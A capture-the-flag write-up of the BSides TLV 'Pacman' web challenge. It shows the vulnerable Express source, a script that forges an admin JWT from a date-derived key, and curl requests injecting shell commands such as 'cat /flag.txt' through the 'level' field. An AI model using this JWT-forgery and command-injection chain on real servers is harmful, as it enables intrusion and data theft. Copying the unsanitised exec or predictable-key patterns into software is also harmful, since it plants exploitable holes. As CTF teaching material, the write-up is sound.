Pacman
- Category: Web Application
- 500 Points
- Solved by the JCTF Team
Description
The following source code was attached:
const express = require('express');
const app = express();
const crypto = require('crypto');
const jwt = require('jsonwebtoken');
const cookieParser = require('cookie-parser');
const { exec } = require('child_process');
const bodyParser = require('body-parser');
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(cookieParser());
function generateKey() {
const date = new Date();
const year = date.getFullYear();
let month = date.getMonth() + 1;
month = (month < 10 ? "0" : "") + month;
let day = date.getDate();
day = (day < 10 ? "0" : "") + day;
const key = `${year}:${month}:${day}:LevelUP!`;
return crypto.createHash('md5').update(key).digest("hex");
}
function decodeValue(token, key) {
try {
return jwt.verify(token, key, function (err, decoded) {
return decoded.isAdmin
});
}
catch(err) {
return false;
}
}
app.get('/', function(req, res) {
if(req.headers['user-agent'] === 'LevelUP!' && decodeValue(req.cookies.auth, generateKey())) {
res.render('game.ejs');
} else {
res.send("You are not authorized!");
}
});
app.post('/levelUp', function(req, res) {
if(req.headers['user-agent'] === 'LevelUP!' && decodeValue(req.cookies.auth, generateKey())) {
const level = req.body.level;
exec('./levelup ' + level, (err, stdout) => {
res.send(stdout)
});
} else {
res.send("You are not authorized!");
}
});
app.listen(5000, '127.0.0.1',
() => console.log(`Example app listening on port 5000!`));
Solution
The attached source file contains the logic we need in order to pass the jwt.verify
check successfully, so let's start with that.
The JWT token uses a key generated by generateKey()
. The ingredients are just the day/month/year and a hardcoded string, so we can easily replicate the key.
Then, we just need to encode the payload { "isAdmin": "1" }
.
The following node script does that:
const crypto = require('crypto');
const jwt = require('jsonwebtoken');
function generateKey() {
const date = new Date();
const year = date.getFullYear();
let month = date.getMonth() + 1;
month = (month < 10 ? "0" : "") + month;
let day = date.getDate();
day = (day < 10 ? "0" : "") + day;
const key = `${year}:${month}:${day}:LevelUP!`;
return crypto.createHash('md5').update(key).digest("hex");
}
var h = generateKey()
console.log("Hash:")
console.log(h)
var token = jwt.sign({ isAdmin: '1' }, h, { algorithm: 'HS256'});
console.log("JWT:")
console.log(token)
The result:
root@kali:~/CTFs/bsides/Pacman# nodejs hash.js
Hash:
55c0e94af90e38d9a4544c19e2ff99f8
JWT:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE
Now we just mix in the user-agent, and we get:
root@kali:/media/sf_CTFs/bsidestlv/Pacman# curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -d "level=1337"
Level up!
This is good, but what do we do with this?
We can try to level up a few times, see if we get anywhere:
root@kali:/media/sf_CTFs/bsidestlv/Pacman# for i in $(seq 1 10); do curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvH
ZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -H "Content-Type: application/json" -d '{"level":"$i"}'; done
Level up!
Level up!
Level up!
Level up!
Level up!
That was fun, but not enough.
Notice how /levelUp
is using exec('./levelup ' + level, ...)
to perform its logic. What if we piggyback this and send another command to be executes as well?
root@kali:/media/sf_CTFs/bsidestlv/Pacman# curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -H "Content-Type: application/json" -d '{"level":"8;ls"}'
Level up!
a
app.js
b
challenge.js
levelup
node_modules
package-lock.json
package.json
views
Our "ls
" was executed right after ./levelup 8;
.
Let's continue to look around:
root@kali:/media/sf_CTFs/bsidestlv/Pacman# curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -H "Content-Type: application/json" -d '{"level":"8;ls /"}'
bin
dev
etc
flag.txt
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
Found the flag, let's print it:
root@kali:/media/sf_CTFs/bsidestlv/Pacman# curl --cookie "auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjoiMSIsImlhdCI6MTU2MTU3NjI3OH0.WP8x7NRSQqqqBLtBcX-qyAor3i4Wik7ybCWfvHZhxbE" -A "LevelUP!" http://pacman.challenges.bsidestlv.com/levelUp -X POST -H "Content-Type: application/json" -d '{"level":"8;cat /flag.txt"}'
Level up!
BSidesTLV{H1dd3nPacmanLevelUP!}
123
123